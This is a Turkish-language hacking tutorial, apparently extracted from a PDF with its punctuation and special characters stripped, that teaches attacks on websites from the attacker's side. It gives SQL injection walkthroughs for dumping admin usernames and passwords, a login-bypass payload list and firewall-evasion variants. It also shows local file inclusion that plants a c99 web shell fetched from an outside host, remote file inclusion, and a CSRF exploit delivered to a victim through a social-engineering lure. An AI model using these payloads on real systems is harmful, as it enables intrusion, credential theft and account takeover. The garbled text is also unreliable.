Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 28: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

